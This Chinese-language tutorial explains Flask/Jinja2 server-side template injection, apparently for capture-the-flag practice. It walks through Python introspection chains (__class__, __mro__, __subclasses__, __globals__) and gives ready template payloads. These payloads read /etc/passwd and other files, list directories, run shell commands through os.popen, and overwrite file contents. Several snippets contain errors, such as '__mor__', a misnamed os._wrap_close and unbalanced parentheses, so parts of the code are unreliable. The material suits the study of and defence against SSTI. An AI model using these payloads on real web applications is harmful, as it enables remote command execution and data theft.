一、flask是用python编写的一个轻量web开发框架。
二、flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。
三、flask基础知识:
1. __class__: 返回当前类(有字符串类,元组类,字典组等等)
所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object
2. __mor__: 返回解析函数时,类的调用顺序,先调用str类,再调用object类,通过索引的方式__mor[1],就可返回object类。
3. __base__: 返回当前父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可以通过索引访问)
print('abc'.__class__.__bases__[0].__subclasses__())
print('abc'.__class__.__base__.__subclasses__())
这两者一样
4. __subclass__(): 返回当前类所有的子类,可通过索引的方式定位某一个子类。
结果会返回很多类,但是可以通过len() 来查看其长度,调用系统命令os.wrap.close类
import os
print('abc'.__class__.__mro__[1].__subclasses__().index(os._wrap_close))
print('abc'.__class__.mro__[1].__subclasses__()[1])
5. __init__(初始化方法),__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行
print('abc'.__class__.__base__.subclasses__()[41].__init__.__globals__['os']('fl4g').read())
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
6. __builtins__下的open进行文件的读取:
{{''.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())}}
7.通过write() 方式修改文件内容
{{''.__class__.__mro__[1].__subclasses__()[41].__init__.__globals__['__builtins__']['open']('1.txt','w').write('123456')}}
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
payload:
1 、获取字符串的类对象
''.__class__
2 、寻找基类
''.__class__.__mro__
(, , )
3 、寻找可用引用
这里有个小细节,'__mro__[] '中括号里填谁其实区别都不大,这些基类引用的东西都一样。
''.__class__.__mro__[2].__subclasses__()
[, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,
, ......]
// 是第41个,所以索引为__subclasses__()[40];
从其中可以找到我们想要的 'os' 所在的 ' site._Printer '类,它在列表的第七十二位,即 '__subclasses__()[71]'。
4、利用:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
5、 从其中可以找到我们想要
的 `os` 所在的 `site._Printer` 类,它在列表的第七十二位,
即 `__subclasses__()[71]` 。
__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()
来 **调用服务器的控制台** **并显示** ,这下我们就可以随便用控制台输出了。
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
8、打开文件
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}